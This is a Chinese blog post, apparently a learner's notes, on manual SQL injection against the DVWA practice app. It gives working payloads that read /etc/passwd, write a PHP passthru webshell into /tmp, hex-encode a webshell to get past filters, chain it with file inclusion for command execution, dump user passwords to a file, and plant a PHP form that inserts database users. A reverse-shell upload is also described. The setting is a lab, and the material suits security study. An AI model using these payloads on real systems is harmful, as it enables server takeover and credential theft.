当前位置: 首页 > news >正文

Kali学习笔记40:SQL手工注入(2)

上一篇讲到可以通过注入得到数据库中所有的表信息

而SQL注入能不能做数据库之外的事情呢?

  

读取文件:

' union select null,load_file('/etc/passwd') -- 

 

为了方便进行测试,后边我使用Burpsuite

既然可以读取文件了,那么也就可以写文件:比如经典的PHP一句话

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" -- 

 

结果是无法写入文件,这是什么原因呢?

我猜测是目录权限的问题

 

于是去掉/var/www

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' -- 

成功,所以得出应该是目录问题

首先我们看一下上传成功的文件在哪个目录:

发现在/var/lib/mysql/dvwa下存放

 

查看后发现属主和属组是Mysql,其他用户无法访问,甚至mysql组其他用户都没有权限

 

然后我们以root的身份进入dvwa目录查看a.php

 

那么我们就没有办法把这一句话PHP文件写入到指定位置了吗?

我们可以结合以前提到的文件包含漏洞,写入通用目录/tmp/,最终达到命令执行

实现:

写入:注意这里的单双引号

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" -- 

 

然后利用文件包含漏洞:

 

最终成功!

所以SQL注入写文件,是以mysql用户写入的,所以可以采用中间目录的方法,然后结合其他漏洞完成命令执行

如果目标系统管理员的权限配置不当,那么只要能够SQL注入,就可以直接拿到shell

 

既然可以上传一句话PHP,那么也可以上传反弹连接PHP脚本

找到Kali自带的PHP反弹连接脚本,重命名为b.php,利用xxd转换为十六进制

由于服务器通常会过滤<?以及换行符,我们再使用tr去除换行符

 

得到一堆16进制,复制出来,替换位置(1)

' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" -- 

发送之后,理论上会成功,但是由于URL过长,报错

 

可以换一个小木马,甚至就使用刚才的a.php

 '%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

进行URL编码后就是上边的结果:注意(0x之前必须加一个空格

在metasploitable中查到了,实际上就是刚才的a.php内容,但是我们使用十六进制编码绕过了过滤

 

验证命令执行:

成功!

 

有时候,数据库的内容太多,我们不可以在一个页面中观看

所以考虑如何直接把数据库下载下来

 ' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" -- 

查看:

 

 

扩展:一个思路

我们甚至可以直接给目标开发一个功能:自定义一个表单,输入信息,然后在数据库插入信息

 ' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --

 然后利用文件包含漏洞,即可利用

这种方式实际上并没有成功,不过可以作为一个思路

 

转载于:https://www.cnblogs.com/xuyiqing/p/10361199.html

相关文章:

  • Ocelot 资源汇总
  • SSH端口号修改并进行远程访问
  • scrapy爬取知乎某个问题下的所有图片
  • string.intern
  • Servlet 知识点汇总
  • C# 函数1 (函数的定义)
  • XSS 漏洞介绍
  • /usr/bin/perl:bad interpreter:No such file or directory 的解决办法
  • 端性能优化方法
  • JAVA之Break Continue 浅析
  • [SRM603] WinterAndSnowmen
  • JS高级学习笔记(1)- 基本数据类型 和 强制类型转换
  • 记账程序及GitHub学习记录
  • 尾调用和尾递归
  • AccessTokenValidation3 源码分析 jwttoken验证流程图
  • .pyc 想到的一些问题
  • 10个最佳ES6特性 ES7与ES8的特性
  • codis proxy处理流程
  • docker-consul
  • DOM的那些事
  • HomeBrew常规使用教程
  • iOS小技巧之UIImagePickerController实现头像选择
  • leetcode386. Lexicographical Numbers
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • MQ框架的比较
  • SpriteKit 技巧之添加背景图片
  • tensorflow学习笔记3——MNIST应用篇
  • Transformer-XL: Unleashing the Potential of Attention Models
  • 编写符合Python风格的对象
  • 初识 beanstalkd
  • 大快搜索数据爬虫技术实例安装教学篇
  • 技术胖1-4季视频复习— (看视频笔记)
  • 深度解析利用ES6进行Promise封装总结
  •  一套莫尔斯电报听写、翻译系统
  • 你对linux中grep命令知道多少?
  • Java总结 - String - 这篇请使劲喷我
  • 如何在招聘中考核.NET架构师
  • ​RecSys 2022 | 面向人岗匹配的双向选择偏好建模
  • ​软考-高级-系统架构设计师教程(清华第2版)【第9章 软件可靠性基础知识(P320~344)-思维导图】​
  • #我与Java虚拟机的故事#连载13:有这本书就够了
  • (delphi11最新学习资料) Object Pascal 学习笔记---第2章第五节(日期和时间)
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (附源码)springboot教学评价 毕业设计 641310
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (正则)提取页面里的img标签
  • (转)winform之ListView
  • (转)大型网站的系统架构
  • .Net 6.0 处理跨域的方式
  • .NET DataGridView数据绑定说明
  • .NET Framework 4.6.2改进了WPF和安全性
  • .NET Framework与.NET Framework SDK有什么不同?
  • .NET MVC、 WebAPI、 WebService【ws】、NVVM、WCF、Remoting
  • .netcore 获取appsettings
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证